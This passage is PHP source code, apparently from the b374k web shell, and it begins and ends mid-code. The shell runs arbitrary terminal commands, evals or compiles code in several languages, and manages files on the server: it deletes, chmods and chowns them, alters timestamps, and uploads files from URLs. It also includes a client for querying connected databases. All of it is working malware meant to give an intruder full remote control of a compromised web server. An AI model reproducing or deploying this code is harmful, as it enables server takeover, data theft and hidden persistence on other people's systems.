strtolower(execute("node -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "node"; else{ $check = strtolower(execute("nodejs -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs"; } $check = strtolower(execute("gcc --help")); if(strpos($check,"usage")!==false) $eval_supported[] = "gcc"; $check = strtolower(execute("java -help")); if(strpos($check,"usage")!==false){ $check = strtolower(execute("javac -help")); if(strpos($check,"usage")!==false) $eval_supported[] = "java"; } return implode(",", $eval_supported); } } if(!function_exists('eval_go')){ function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){ $res = ""; $output = ""; if($evalOptions!="") $evalOptions = $evalOptions." "; if($evalArguments!="") $evalArguments = " ".$evalArguments; if($evalType=="php"){ ob_start(); eval($evalCode); $res = ob_get_contents(); ob_end_clean(); return $res; } elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)
"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)
"; $res .= "Setting permissions : 0755"; if(chmod($path, 0755)){ $res .= " (ok)
"; $cmd = $evalType." ".$evalOptions.$path.$evalArguments; $res .= "Execute : ".$cmd."
"; $output = execute($cmd); } else $res .= " (failed)
"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)
"; else $res .= " (failed)
"; } else $res .= " (failed)
"; } else $res .= " (not writable)
"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="gcc"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)
"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq.".c"; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)
"; $ext = (is_win())? ".exe":".out"; $pathres = $filename.$ext; $evalOptions = "-o ".$pathres." ".$evalOptions; $cmd = "gcc ".$evalOptions.$path; $res .= "Compiling : ".$cmd; $res .= execute($cmd); if(is_file($pathres)){ $res .= " (ok)
"; $res .= "Setting permissions : 0755"; if(chmod($pathres, 0755)){ $res .= " (ok)
"; $cmd = $pathres.$evalArguments; $res .= "Execute : ".$cmd."
"; $output = execute($cmd); } else $res .= " (failed)
"; $res .= "Deleting temporary file : ".$pathres; if(unlink($pathres)) $res .= " (ok)
"; else $res .= " (failed)
"; } else $res .= " (failed)
"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)
"; else $res .= " (failed)
"; } else $res .= " (failed)
"; } else $res .= " (not writable)
"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="java"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)
"; if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){ $classname = trim($r[1]); $filename = $classname; } else{ $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq; $evalCode = "class ".$filename." { ".$evalCode . " } "; } $path = $filename.".java"; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)
"; $cmd = "javac ".$evalOptions.$path; $res .= "Compiling : ".$cmd; $res .= execute($cmd); $pathres = $filename.".class"; if(is_file($pathres)){ $res .= " (ok)
"; $res .= "Setting permissions : 0755"; if(chmod($pathres, 0755)){ $res .= " (ok)
"; $cmd = "java ".$filename.$evalArguments; $res .= "Execute : ".$cmd."
"; $output = execute($cmd); } else $res .= " (failed)
"; $res .= "Deleting temporary file : ".$pathres; if(unlink($pathres)) $res .= " (ok)
"; else $res .= " (failed)
"; } else $res .= " (failed)
"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)
"; else $res .= " (failed)
"; } else $res .= " (failed)
"; } else $res .= " (not writable)
"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="executable"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)
"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq.".exe"; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)
"; $cmd = $path.$evalArguments; $res .= "Execute : ".$cmd."
"; $output = execute($cmd); $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)
"; else $res .= " (failed)
"; } else $res .= " (failed)
"; } else $res .= " (not writable)
"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } return false; } } if(!function_exists('output')){ function output($str){ $error = @ob_get_contents(); @ob_end_clean(); header("Content-Type: text/plain"); header("Cache-Control: no-cache"); header("Pragma: no-cache"); echo $str; die(); } } ?><?php block_bot(); auth(); chdir(get_cwd()); $nav = get_nav(get_cwd()); $p = array_map("rawurldecode", get_post()); $cwd = html_safe(get_cwd()); $GLOBALS['module'] = array(); $explorer_content = ""; if(isset($p['viewEntry'])){ $path = trim($p['viewEntry']); if(is_file($path)){ $dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR; setcookie("cwd", $dirname); chdir($dirname); $nav = get_nav($dirname); $cwd = html_safe($dirname); $explorer_content = view_file($path, "auto"); } elseif(is_dir($path)){ $path = realpath($path).DIRECTORY_SEPARATOR; setcookie("cwd", $path); chdir($path); $nav = get_nav($path); $cwd = html_safe($path); $explorer_content = show_all_files($path); } } else $explorer_content = show_all_files(get_cwd()); $GLOBALS['module']['explorer']['id'] = "explorer"; $GLOBALS['module']['explorer']['title'] = "Explorer"; $GLOBALS['module']['explorer']['js_ontabselected'] = ""; $GLOBALS['module']['explorer']['content'] = $explorer_content; $GLOBALS['module']['terminal']['id'] = "terminal"; $GLOBALS['module']['terminal']['title'] = "Terminal"; $GLOBALS['module']['terminal']['js_ontabselected'] = " if((!portableMode) && ($('#terminalOutput').html()=='')) $('#terminalInput').focus();"; $GLOBALS['module']['terminal']['content'] = "<pre id='terminalOutput'></pre><table id='terminalPrompt'><tr><td class='colFit'><span id='terminalCwd' class='strong'>".get_cwd()."></span</td><td id='terminalCommand'><input type='text' id='terminalInput' class='floatLeft' spellcheck='false'></td></tr></table>"; $GLOBALS['module']['eval']['id'] = "eval"; $GLOBALS['module']['eval']['title'] = "Eval"; $GLOBALS['module']['eval']['js_ontabselected'] = " if((!portableMode) && ($('#evalOutput').html()=='You can also press ctrl+enter to submit')) $('#evalInput').focus();"; $GLOBALS['module']['eval']['content'] = " <table class='boxtbl'> <thead> <tr><th colspan='4'><p class='boxtitle'>Eval</p></th></tr> </thead> <tbody> <tr><td colspan='4'><textarea id='evalInput' spellcheck='false' style='height:140px;min-height:140px;'></textarea></td></tr> <tr id='evalAdditional'><td colspan='4'> <input type='text' id='evalOptions' value='Options/Switches' spellcheck='false' onkeydown=\"trap_enter(event, 'eval_go');\"> <input type='text' id='evalArguments' value='Arguments' spellcheck='false' onkeydown=\"trap_enter(event, 'eval_go');\"> </td></tr> <tr> <td style='width:144px;'> <select id='evalType'> </select> </td> <td colspan='3'> <span id='evalSubmit' style='width:120px;' class='button' onclick=\"eval_go();\">run</span> </td> </tr> <tr><td colspan='4'><pre id='evalOutput'>You can also press ctrl+enter to submit</pre></td</tr> </tbody> </table> "; $res = ""; if(isset($p['cd'])){ $path = $p['cd']; if(trim($path)=='') $path = dirname(__FILE__); $path = realpath($path); if(is_file($path)) $path = dirname($path); if(is_dir($path)){ chdir($path); $path = $path.DIRECTORY_SEPARATOR; setcookie("cwd", $path); $res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}"; if(isset($p['showfiles'])&&($p['showfiles']=='true')){ $res .= show_all_files($path); } } else $res = "error"; output($res); } elseif(isset($p['viewFile']) && isset($p['viewType'])){ $path = trim($p['viewFile']); $type = trim($p['viewType']); $preserveTimestamp = trim($p['preserveTimestamp']); if(is_file($path)){ $res = view_file($path, $type, $preserveTimestamp); } else $res = "error"; output($res); } elseif(isset($p['renameFile']) && isset($p['renameFileTo'])){ $renameFile = trim($p['renameFile']); $renameFileTo = trim($p['renameFileTo']); if(file_exists($renameFile)){ if(rename($renameFile, $renameFileTo)){ $res = dirname($renameFileTo); } else $res = "error"; } else $res = "error"; output($res); } elseif(isset($p['newFolder'])){ $newFolder = trim($p['newFolder']); if(mkdir($newFolder)){ $res = dirname($newFolder); } else $res = "error"; output($res); } elseif(isset($p['newFile'])){ $newFile = trim($p['newFile']); if(touch($newFile)){ $res = dirname($newFile); } else $res = "error"; output($res); } elseif(isset($p['delete'])){ $path = trim($p['delete']); $dirname = dirname($path); if(is_file($path)){ if(unlink($path)) $res = $dirname; } elseif(is_dir($path)){ if(rmdirs($path)>0) $res = $dirname; } else $res = "error"; if(file_exists($path)) $res = "error"; output($res); } elseif(isset($p['editType'])&&isset($p['editFilename'])&&isset($p['editInput'])&&isset($p['preserveTimestamp'])){ $editFilename = trim($p['editFilename']); $editInput = trim($p['editInput']); $editType = trim($p['editType']); $preserveTimestamp = trim($p['preserveTimestamp']); $time = filemtime($editFilename); if($editType=='hex') $editInput = pack("H*" , preg_replace("/\s/","", $editInput)); if(write_file($editFilename, $editInput)){ $res = $editFilename; if($preserveTimestamp=='true') touch($editFilename, $time); } else $res = "error"; output($res); } elseif(isset($p['findType'])){ $findType = trim($p['findType']); $findPath = trim($p['findPath']); $findName = trim($p['findName']); $findNameRegex = trim($p['findNameRegex']); $findNameInsensitive = trim($p['findNameInsensitive']); $findContent = trim($p['findContent']); $findContentRegex = trim($p['findContentRegex']); $findContentInsensitive = trim($p['findContentInsensitive']); $findReadable = trim($p['findReadable']); $findWritable = trim($p['findWritable']); $findExecutable = trim($p['findExecutable']); $candidate = get_all_files($findPath); if($findType=='file') $candidate = array_filter($candidate, "is_file"); elseif($findType=='folder') $candidate = array_filter($candidate, "is_dir"); else $res = "error"; foreach($candidate as $k){ if(($findType=="file")||($findType=="folder")){ if(!empty($findName)){ if($findNameRegex=="true"){ $case = ($findNameInsensitive=="true")? "i":""; if(!preg_match("/".$findName."/".$case, basename($k))){ $candidate = array_diff($candidate, array($k)); } } else{ $check = false; if($findNameInsensitive=="true"){ $check = strpos(strtolower(basename($k)), strtolower($findName))===false; } else{ $check = strpos(basename($k), $findName)===false; } if($check){ $candidate = array_diff($candidate, array($k)); } } } } if($findType=="file"){ if(!empty($findContent)){ $content = read_file($k); if($findContentRegex=="true"){ $case = ($findContentInsensitive=="true")? "i":""; if(!preg_match("/".$findContent."/".$case, $content)){ $candidate = array_diff($candidate, array($k)); } } else{ $check = false; if($findContentInsensitive=="true"){ $check = strpos(strtolower($content), strtolower($findContent))===false; } else{ $check = strpos($content, $findContent)===false; } if($check){ $candidate = array_diff($candidate, array($k)); } } } } } foreach($candidate as $k){ if($findReadable=="true"){ if(!is_readable($k)) $candidate = array_diff($candidate, array($k)); } if($findWritable=="true"){ if(!is_writable($k)) $candidate = array_diff($candidate, array($k)); } if($findExecutable=="true"){ if(!is_executable($k)) $candidate = array_diff($candidate, array($k)); } } if(count($candidate)>0){ $res = ""; foreach($candidate as $k){ $res .= "<p><span class='strong'>></span> <a data-path='".html_safe($k)."' onclick='view_entry(this);'>".html_safe($k)."</a></p>"; } } else $res = ""; output($res); } elseif(isset($p['ulType'])){ $ulSaveTo = trim($p['ulSaveTo']); $ulFilename = trim($p['ulFilename']); if($p['ulType']=='comp'){ $ulFile = $_FILES['ulFile']; if(empty($ulFilename)) $ulFilename = $ulFile['name']; if(is_uploaded_file($ulFile['tmp_name'])){ if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; if(move_uploaded_file($ulFile['tmp_name'], $newfile)){ $res = "<span class='strong'>></span> <a data-path='".html_safe($newfile)."' onclick='view_entry(this);'>".html_safe($newfile)."</a> ( 100% )"; } else $res = "error"; } else $res = "error"; } elseif($p['ulType']=='url'){ $ulFile = trim($p['ulFile']); if(empty($ulFilename)) $ulFilename = basename($ulFile); if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; if(download($ulFile, $newfile)){ $res = "<span class='strong'>></span> <a data-path='".html_safe($newfile)."' onclick='view_entry(this);'>".html_safe($newfile)."</a> ( 100% )"; } else $res = "error"; } else $res = "error"; output($res); } elseif(isset($p['download'])){ $file = trim($p['download']); if(is_file($file)){ header("Content-Type: application/octet-stream"); header('Content-Transfer-Encoding: binary'); header("Content-length: ".filesize($file)); header("Cache-Control: no-cache"); header("Pragma: no-cache"); header("Content-disposition: attachment; filename=\"".basename($file)."\";"); $handler = fopen($file,"rb"); while(!feof($handler)){ print(fread($handler, 1024*8)); @ob_flush(); @flush(); } fclose($handler); die(); } } elseif(isset($p['multimedia'])){ $file = trim($p['multimedia']); $mime_list = get_resource('mime'); $mime = ""; $file_ext_pos = strrpos($file, "."); if($file_ext_pos!==false){ $file_ext = trim(substr($file, $file_ext_pos),"."); if(preg_match("/([^\s]+)\ .*".$file_ext.".*/i", $mime_list, $res)){ $mime = $res[1]; } } if(is_file($file)){ header("Content-Type: ".$mime); header('Content-Transfer-Encoding: binary'); header("Content-length: ".filesize($file)); echo "data:".$mime.";base64,".base64_encode(read_file($file)); die(); } } elseif(isset($p['massType'])&&isset($p['massBuffer'])&&isset($p['massPath'])&&isset($p['massValue'])){ $massType = trim($p['massType']); $massBuffer = trim($p['massBuffer']); $massPath = realpath($p['massPath']).DIRECTORY_SEPARATOR; $massValue = trim($p['massValue']); $counter = 0; $massBufferArr = explode("
", $massBuffer); if(($massType=='tar')||($massType=='targz')||($massType=='zip')){ if(compress($massType, $massValue, $massBufferArr)){ $counter++; return $counter; } } else{ foreach($massBufferArr as $k){ $path = trim($k); if(file_exists($path)){ $preserveTimestamp = filemtime($path); if($massType=='delete'){ if(is_file($path)){ if(unlink($path)) $counter++; } elseif(is_dir($path)){ if(rmdirs($path)>0) $counter++; } } elseif($massType=='cut'){ $dest = $massPath.basename($path); if(rename($path, $dest)){ $counter++; touch($dest, $preserveTimestamp); } } elseif($massType=='copy'){ $dest = $massPath.basename($path); if(is_dir($path)){ if(copys($path, $dest)>0) $counter++; } elseif(is_file($path)){ if(copy($path, $dest)) $counter++; } } elseif(($massType=='untar')||($massType=='untargz')||($massType=='unzip')){ if(decompress($massType, $path, $massValue)){ $counter++; return $counter; } } elseif(!empty($massValue)){ if($massType=='chmod'){ if(chmod($path, octdec($massValue))) $counter++; } elseif($massType=='chown'){ if(chown($path, $massValue)) $counter++; } elseif($massType=='touch'){ if(touch($path, strtotime($massValue))) $counter++; } } } } } if($counter>0) output($counter); output('error'); } elseif(isset($p['viewFileorFolder'])){ $entry = $p['viewFileorFolder']; if(is_file($entry)) output('file'); elseif(is_dir($entry)) output('folder'); output('error'); } elseif(isset($p['terminalInput'])){ output(html_safe(execute($p['terminalInput']))); } elseif(isset($p['evalInput']) && isset($p['evalType'])){ $evalInput = $p['evalInput']; $evalOptions = (isset($p['evalOptions']))? $p['evalOptions']:""; $evalArguments = (isset($p['evalArguments']))? $p['evalArguments']:""; $evalType = $p['evalType']; error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); @ini_set('html_errors','0'); @ini_set('display_errors','1'); @ini_set('display_startup_errors','1'); $res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments); if($res===false) $res == "error"; output(html_safe($res)); } elseif(isset($p['evalGetSupported'])){ $res = eval_get_supported(); output($res); } ?><?php $GLOBALS['module']['convert']['id'] = "convert"; $GLOBALS['module']['convert']['title'] = "Convert"; $GLOBALS['module']['convert']['js_ontabselected'] = " if((!portableMode) && ($('#decodeResult').children().length==1)) $('#decodeStr').focus();"; $GLOBALS['module']['convert']['content'] = " <table class='boxtbl'> <thead> <tr><th colspan='2'><p class='boxtitle'>Convert</p></th></tr> </thead> <tbody> <tr><td colspan='2'><textarea style='height:140px;min-height:140px;' id='decodeStr'></textarea></td></tr> <tr><td colspan='2'><span class='button' onclick='decode_go();'>convert</span></td></tr> </tbody> <tfoot id='decodeResult'><tr><td colspan='2'>You can also press ctrl+enter to submit</td></tr></tfoot> </table>"; if(!function_exists('decode')){ function decode($str){ $res = ""; $length = (int) strlen($str); $res .= decode_line("md5", md5($str), "input"); $res .= decode_line("sha1", sha1($str), "input"); $res .= decode_line("base64 encode", base64_encode($str), "textarea"); $res .= decode_line("base64 decode", base64_decode($str), "textarea"); $res .= decode_line("hex to string", @pack("H*" , $str), "textarea"); $res .= decode_line("string to hex", bin2hex($str), "textarea"); $ascii = ""; for($i=0; $i<$length; $i++){ $ascii .= ord(substr($str,$i,1))." "; } $res .= decode_line("ascii char", trim($ascii), "textarea"); $res .= decode_line("reversed", strrev($str), "textarea"); $res .= decode_line("lowercase", strtolower($str), "textarea"); $res .= decode_line("uppercase", strtoupper($str), "textarea"); $res .= decode_line("urlencode", urlencode($str), "textarea"); $res .= decode_line("urldecode", urldecode($str), "textarea"); $res .= decode_line("rawurlencode", rawurlencode($str), "textarea"); $res .= decode_line("rawurldecode", rawurldecode($str), "textarea"); $res .= decode_line("htmlentities", html_safe($str), "textarea"); if(function_exists('hash_algos')){ $algos = hash_algos(); foreach($algos as $algo){ if(($algo=='md5')||($algo=='sha1')) continue; $res .= decode_line($algo, hash($algo, $str), "input"); } } return $res; } } if(!function_exists('decode_line')){ function decode_line($type, $result, $inputtype){ $res = "<tr><td class='colFit'>".$type."</td><td>"; if($inputtype=='input'){ $res .= "<input type='text' value='".html_safe($result)."' ondblclick='this.select();'>"; } else{ $res .= "<textarea style='height:80px;min-height:80px;' ondblclick='this.select();'>".html_safe($result)."</textarea>"; } return $res; } } if(isset($p['decodeStr'])){ $decodeStr = $p['decodeStr']; output(decode($decodeStr)); } ?><?php $GLOBALS['module']['database']['id'] = "database"; $GLOBALS['module']['database']['title'] = "Database"; $GLOBALS['module']['database']['js_ontabselected'] = ""; $GLOBALS['module']['database']['content'] = " <table class='boxtbl'> <thead> <tr><th colspan='3'><p class='boxtitle'>Connect</p></th></tr> </thead> <tbody> <tr class='dbHostRow'><td style='width:144px' class='dbHostLbl'>Host</td><td colspan='2'><input type='text' id='dbHost' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr> <tr class='dbUserRow'><td>Username</td><td colspan='2'><input type='text' id='dbUser' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr> <tr class='dbPassRow'><td>Password</td><td colspan='2'><input type='text' id='dbPass' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr> <tr class='dbPortRow'><td>Port (Optional)</td><td colspan='2'><input type='text' id='dbPort' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr> </tbody> <tfoot> <tr class='dbConnectRow'> <td style='width:144px;'> <select id='dbType'> </select> </td> <td style='width:120px;'><span class='button' onclick=\"db_connect();\">connect</span></td> <td class='dbError'></td> </tr> <tr class='dbQueryRow' style='display:none;'> <td colspan='3'><textarea id='dbQuery' style='min-height:140px;height:140px;'>You can also press ctrl+enter to submit</textarea></td> </tr> <tr class='dbQueryRow' style='display:none;'> <td style='width:120px;'><span class='button' onclick=\"db_run();\">run</span></td> <td style='width:120px;'><span class='button' onclick=\"db_disconnect();\">disconnect</span></td> <td>Separate multiple commands with a semicolon <span class='strong'>(</span> ; <span class='strong'>)</span></td> </tr> </tfoot> </table> <div id='dbBottom' style='display:none;'> <br> <table class='border' style='padding:0;'><tr><td id='dbNav' class='colFit borderright' style='vertical-align:top;'></td><td id='dbResult' style='vertical-align:top;'></td></tr></table> </div> "; if(!function_exists('sql_connect')){ function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){ if($sqltype == 'mysql'){ if(class_exists('mysqli')) return new mysqli($sqlhost, $sqluser, $sqlpass); elseif(function_exists('mysql_connect')) return @mysql_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_connect')){ $coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass); return @sqlsrv_connect($sqlhost,$coninfo); } elseif(function_exists('mssql_connect')) return @mssql_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == 'pgsql'){ $hosts = explode(":", $sqlhost); if(count($hosts)==2){ $host_str = "host=".$hosts[0]." port=".$hosts[1]; } else $host_str = "host=".$sqlhost; if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass"); } elseif($sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($sqluser, $sqlpass, $sqlhost); } elseif($sqltype == 'sqlite3'){ if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost); else return false; } elseif($sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($sqlhost); } elseif($sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == 'pdo'){ if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass); else return false; } return false; } } if(!function_exists('sql_query')){ function sql_query($sqltype, $query, $con){ if($sqltype == 'mysql'){ if(class_exists('mysqli')) return $con->query($query); elseif(function_exists('mysql_query')) return mysql_query($query); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query); elseif(function_exists('mssql_query')) return mssql_query($query); } elseif($sqltype == 'pgsql') return pg_query($query); elseif($sqltype == 'oracle') return oci_execute(oci_parse($con, $query)); elseif($sqltype == 'sqlite3') return $con->query($query); elseif($sqltype == 'sqlite') return sqlite_query($con, $query); elseif($sqltype == 'odbc') return odbc_exec($con, $query); elseif($sqltype == 'pdo') return $con->query($query); } } if(!function_exists('sql_num_rows')){ function sql_num_rows($sqltype,$result){ if($sqltype == 'mysql'){ if(class_exists('mysqli_result')) return $result->mysqli_num_rows; elseif(function_exists('mysql_num_rows')) return mysql_num_rows($result); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result); elseif(function_exists('mssql_num_rows')) return mssql_num_rows($result); } elseif($sqltype == 'pgsql') return pg_num_rows($result); elseif($sqltype == 'oracle') return oci_num_rows($result); elseif($sqltype == 'sqlite3'){ $metadata = $result->fetchArray(); if(is_array($metadata)) return $metadata['count']; } elseif($sqltype == 'sqlite') return sqlite_num_rows($result); elseif($sqltype == 'odbc') return odbc_num_rows($result); elseif($sqltype == 'pdo') return $result->rowCount(); } } if(!function_exists('sql_num_fields')){ function sql_num_fields($sqltype, $result){ if($sqltype == 'mysql'){ if(class_exists('mysqli_result')) return $result->field_count; elseif(function_exists('mysql_num_fields')) return mysql_num_fields($result); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result); elseif(function_exists('mssql_num_fields')) return mssql_num_fields($result); } elseif($sqltype == 'pgsql') return pg_num_fields($result); elseif($sqltype == 'oracle') return oci_num_fields($result); elseif($sqltype == 'sqlite3') return $result->numColumns(); elseif($sqltype == 'sqlite') return sqlite_num_fields($result); elseif($sqltype == 'odbc') return odbc_num_fields($result); elseif($sqltype == 'pdo') return $result->columnCount(); } } if(!function_exists('sql_field_name')){ function sql_field_name($sqltype,$result,$i){ if($sqltype == 'mysql'){ if(class_exists('mysqli_result')) { $z=$result->fetch_field();return $z->name;} elseif(function_exists('mysql_field_name')) return mysql_field_name($result,$i); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_field_metadata')){ $metadata = sqlsrv_field_metadata($result); if(is_array($metadata)){ $metadata=$metadata[$i]; } if(is_array($metadata)) return $metadata['Name']; } elseif(function_exists('mssql_field_name')) return mssql_field_name($result,$i); } elseif($sqltype == 'pgsql') return pg_field_name($result,$i); elseif($sqltype == 'oracle') return oci_field_name($result,$i+1); elseif($sqltype == 'sqlite3') return $result->columnName($i); elseif($sqltype == 'sqlite') return sqlite_field_name($result,$i); elseif($sqltype == 'odbc') return odbc_field_name($result,$i+1); elseif($sqltype == 'pdo'){ $res = $result->getColumnMeta($i); return $res['name']; } } } if(!function_exists('sql_fetch_data')){ function sql_fetch_data($sqltype,$result){ if($sqltype == 'mysql'){ if(class_exists('mysqli_result')) return $result->fetch_row(); elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($result); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1); elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($result); } elseif($sqltype == 'pgsql') return pg_fetch_row($result); elseif($sqltype == 'oracle') return oci_fetch_row($result); elseif($sqltype == 'sqlite3') return $result->fetchArray(1); elseif($sqltype == 'sqlite') return sqlite_fetch_array($result,1); elseif($sqltype == 'odbc') return odbc_fetch_array($result); elseif($sqltype == 'pdo') return $result->fetch(2); } } if(!function_exists('sql_close')){ function sql_close($sqltype,$con){ if($sqltype == 'mysql'){ if(class_exists('mysqli')) return $con->close(); elseif(function_exists('mysql_close')) return mysql_close($con); } elseif($sqltype == 'mssql'){ if(function_exists('sqlsrv_close')) return sqlsrv_close($con); elseif(function_exists('mssql_close')) return mssql_close($con); } elseif($sqltype == 'pgsql') return pg_close($con); elseif($sqltype == 'oracle') return oci_close($con); elseif($sqltype == 'sqlite3') return $con->close(); elseif($sqltype == 'sqlite') return sqlite_close($con); elseif($sqltype == 'odbc') return odbc_close($con); elseif($sqltype == 'pdo') return $con = null; } } if(!function_exists('sql_get_supported')){ function sql_get_supported(){ $db_supported = array(); if(function_exists("mysql_connect")) $db_supported[] = 'mysql'; if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = 'mssql'; if(function_exists("pg_connect")) $db_supported[] = 'pgsql'; if(function_exists("oci_connect")) $db_supported[] = 'oracle'; if(function_exists("sqlite_open")) $db_supported[] = 'sqlite'; if(class_exists("SQLite3")) $db_supported[] = 'sqlite3'; if(function_exists("odbc_connect")) $db_supported[] = 'odbc'; if(class_exists("PDO")) $db_supported[] = 'pdo'; return implode(",", $db_supported); } } if(isset($p['dbGetSupported'])){ $res = sql_get_supported(); if(empty($res)) $res = "error"; output($res); } elseif(isset($p['dbType'])&&isset($p['dbHost'])&&isset($p['dbUser'])&&isset($p['dbPass'])&&isset($p['dbPort'])){ $type = $p['dbType']; $host = $p['dbHost']; $user = $p['dbUser']; $pass = $p['dbPass']; $port = $p['dbPort']; $con = sql_connect($type ,$host , $user , $pass); $res = ""; if($con!==false){ if(isset($p['dbQuery'])){ $query = $p['dbQuery']; $pagination = ""; if((isset($p['dbDB']))&&(isset($p['dbTable']))){ $db = trim($p['dbDB']); $table = trim($p['dbTable']); $start = (int) (isset($p['dbStart']))? trim($p['dbStart']):0; $limit = (int) (isset($p['dbLimit']))? trim($p['dbLimit']):100; if($type=='mysql'){ $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";"; } elseif($type=='mssql'){ $query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";"; } elseif($type=='pgsql'){ $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";"; } elseif($type=='oracle'){ $limit = $start + $limit; $query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";"; } elseif($type=='sqlite' || $type=='sqlite3'){ $query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";"; } else $query = ""; $pagination = "Limit <input type='text' id='dbLimit' value='".html_safe($limit)."' style='width:50px;'> <span class='button' onclick=\"db_pagination('prev');\">prev</span> <span class='button' onclick=\"db_pagination('next');\">next</span> <input type='hidden' id='dbDB' value='".html_safe($db)."'> <input type='hidden' id='dbTable' value='".html_safe($table)."'> <input type='hidden' id='dbStart' value='".html_safe($start)."'> "; } $querys = explode(";", $query); foreach($querys as $query){ if(trim($query) != ""){ $query_query = sql_query($type, $query, $con); if($query_query!=false){ $res .= "<p>".html_safe($query)."; <span class='strong'>[</span> ok <span class='strong'>]</span></p>"; if(!empty($pagination)){ $res .= "<p>".$pagination."</p>"; } if(!is_bool($query_query)){ $res .= "<table class='border dataView sortable tblResult'><tr>"; for($i = 0; $i < sql_num_fields($type, $query_query); $i++) $res .= "<th>".html_safe(sql_field_name($type, $query_query, $i))."</th>"; $res .= "</tr>"; while($rows = sql_fetch_data($type, $query_query)){ $res .= "<tr>"; foreach($rows as $r){ if(empty($r)) $r = " "; $res .= "<td>".html_safe($r)."</td>"; } $res .= "</tr>"; } $res .= "</table>"; } } else{ $res .= "<p>".html_safe($query)."; <span class='strong'>[</span> error <span class='strong'>]</span></p>"; } } } } else{ if(($type!='pdo') && ($type!='odbc')){ if($type=='mysql') $showdb = "SHOW DATABASES"; elseif($type=='mssql') $showdb = "SELECT name FROM master..sysdatabases"; elseif($type=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata"; elseif($type=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME"; elseif(($type=='sqlite3') || ($type=='sqlite')) $showdb = "SELECT \"".$host."\""; else $showdb = "SHOW DATABASES"; $query_db = sql_query($type, $showdb, $con); if($query_db!=false) { while($db_arr = sql_fetch_data($type, $query_db)){ foreach($db_arr as $db){ if($type=='mysql') $showtbl = "SHOW TABLES FROM ".$db; elseif($type=='mssql') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = 'U'"; elseif($type=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$db."'"; elseif($type=='oracle') $showtbl = "SELECT TABLE_NAME FROM 